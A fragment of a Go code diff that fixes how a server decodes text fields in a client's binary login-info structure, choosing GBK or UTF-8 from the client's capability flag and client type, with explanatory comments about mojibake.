+			b := data[pos]
+			pos++
+			sz |= uint64(b&0x7F) << (7 * i)
+			if b&0x80 == 0 {
+				break
+			}
+		}
+		if uint64(pos)+sz > uint64(n) {
+			return false
+		}
+		pos += int(sz)
+	}
+	return false
+}
+
 // LOGIN_INFOR structure size and offsets (matching C++ struct with default alignment)
 // Note: C++ struct uses default alignment (4-byte for uint32/int)
 const (
@@ -87,7 +446,22 @@ type LoginInfo struct {
 	Reserved      string // Contains additional info separated by |
 }
 
-// ParseLoginInfo parses LOGIN_INFOR from data
+// ParseLoginInfo parses LOGIN_INFOR from data.
+//
+// Encoding: text fields are GBK on legacy Windows clients and UTF-8 on modern
+// clients that set CLIENT_CAP_UTF8 (always on for LNX / MAC). Picking the
+// wrong codec mangles non-ASCII characters — e.g. a German location string
+// "Nürnberg" sent as UTF-8 (4E C3 BC 72 ...) and force-decoded as GBK turns
+// into mojibake. The heartbeat path already honors this via DecodeClientString
+// (see cmd/main.go handleHeartbeat); ParseLoginInfo previously did not, so
+// every login string from a UTF-8 client was being misread.
+//
+// To get encoding right we have a chicken-and-egg problem: capability lives
+// in ModuleVersion (offset 164) and clientType lives in Reserved field 0
+// (offset 476) — but Reserved itself needs that information to decode. Both
+// "discriminator" values are pure ASCII (hex digits, "Windows"/"LNX"/"MAC"),
+// so we can extract them with a UTF-8 read and then re-decode the actual
+// user-text fields with the correct codec.
 func ParseLoginInfo(data []byte) (*LoginInfo, error) {
 	if len(data) < 100 { // Minimum size check
 		return nil, ErrInvalidData
@@ -97,64 +471,61 @@ func ParseLoginInfo(data []byte) (*LoginInfo, error) {
 		Token: data[0],
 	}
 
-	// Parse OS version info (offset 1, 156 bytes)
+	// CPU MHz, WebCam, Speed — fixed-width binary, encoding-independent.
-	// The C++ client fills this with a readable string like "Windows 10" via getSystemName()
-	if len(data) >= OffsetOsVerInfoEx+156 {
-		info.OsVerInfo = parseOsVersionInfo(data[OffsetOsVerInfoEx : OffsetOsVerInfoEx+156])
-	}
-
-	// Parse CPU MHz (offset 160, 4 bytes)
 	if len(data) >= OffsetCPUMHz+4 {
 		info.CPUMHz = binary.LittleEndian.Uint32(data[OffsetCPUMHz:])
 	}
-
-	// Parse module version (offset 164, 24 bytes)
-	// This contains date string like "Dec 19 2025"
-	if len(data) >= OffsetModuleVersion+24 {
-		info.ModuleVersion = gbkToUTF8(data[OffsetModuleVersion : OffsetModuleVersion+24])
-	}
-
-	// Parse PC name (offset 188, 240 bytes)
-	if len(data) >= OffsetPCName+240 {
-		info.PCName = gbkToUTF8(data[OffsetPCName : OffsetPCName+240])
-	}
-
-	// Parse Master ID (offset 428, 20 bytes)
-	if len(data) >= OffsetMasterID+20 {
-		info.MasterID = gbkToUTF8(data[OffsetMasterID : OffsetMasterID+20])
-	}
-
-	// Parse WebCam exist (offset 448, 4 bytes)
 	if len(data) >= OffsetWebCamExist+4 {
 		info.WebCamExist = binary.LittleEndian.Uint32(data[OffsetWebCamExist:]) != 0
 	}
-
-	// Parse Speed (offset 452, 4 bytes)
 	if len(data) >= OffsetSpeed+4 {
 		info.Speed = binary.LittleEndian.Uint32(data[OffsetSpeed:])
 	}
 
-	// Parse Start time (offset 456, 20 bytes)
+	// ModuleVersion is "version-capabilityHex" — pure ASCII (e.g. "Dec 19
-	if len(data) >= OffsetStartTime+20 {
+	// 2025-0006"). Safe to read as UTF-8 regardless of client codec.
-		info.StartTime = gbkToUTF8(data[OffsetStartTime : OffsetStartTime+20])
+	if len(data) >= OffsetModuleVersion+24 {
+		info.ModuleVersion = Utf8CleanString(data[OffsetModuleVersion : OffsetModuleVersion+24])
+	}
+	_, capability, _ := strings.Cut(info.ModuleVersion, "-")
+
+	// Peek at Reserved field 0 (RES_CLIENT_TYPE: "Windows" / "LNX" / "MAC")
+	// — pure ASCII, so we can read raw bytes without knowing the codec.
+	// LNX / MAC clients are implicitly UTF-8 even when capability is absent.
+	clientType := ""
+	if len(data) > OffsetReserved {
+		raw := data[OffsetReserved:min(OffsetReserved+512, len(data))]
+		if nul := bytes.IndexByte(raw, 0); nul >= 0 {
+			raw = raw[:nul]
+		}
+		head, _, _ := bytes.Cut(raw, []byte("|"))
+		clientType = string(head)
 	}
 
-	// Parse Reserved (offset 476, 512 bytes) - contains additional info
+	// Now decode every user-text field with the client's actual codec.
+	decode := func(b []byte) string { return DecodeClientString(b, capability, clientType) }
+
+	if len(data) >= OffsetOsVerInfoEx+156 {
+		info.OsVerInfo = decode(data[OffsetOsVerInfoEx : OffsetOsVerInfoEx+156])
+	}
+	if len(data) >= OffsetPCName+240 {
+		info.PCName = decode(data[OffsetPCName : OffsetPCName+240])
+	}
+	if len(data) >= OffsetMasterID+20 {
+		info.MasterID = decode(data[OffsetMasterID : OffsetMasterID+20])
+	}
+	if len(data) >= OffsetStartTime+20 {
+		info.StartTime = decode(data[OffsetStartTime : OffsetStartTime+20])
+	}
 	if len(data) >= OffsetReserved+512 {
-		info.Reserved = gbkToUTF8(data[OffsetReserved : OffsetReserved+512])
+		info.Reserved = decode(data[OffsetReserved : OffsetReserved+512])
 	} else if len(data) > OffsetReserved {
-		info.Reserved = gbkToUTF8(data[OffsetReserved:])
+		info.Reserved = decode(data[OffsetReserved:])
 	}
 
 	return info, nil
 }
 
-// parseOsVersionInfo parses the OS version info field
-// The C++ client fills this with a readable string like "Windows 10" via getSystemName()
-func parseOsVersionInfo(data []byte) string {
-	return gbkToUTF8(data)
-}
-
 // ParseReserved parses the reserved field into a slice of strings
 func (info *LoginInfo) ParseReserved() []string {
 	if info.Reserved == "" {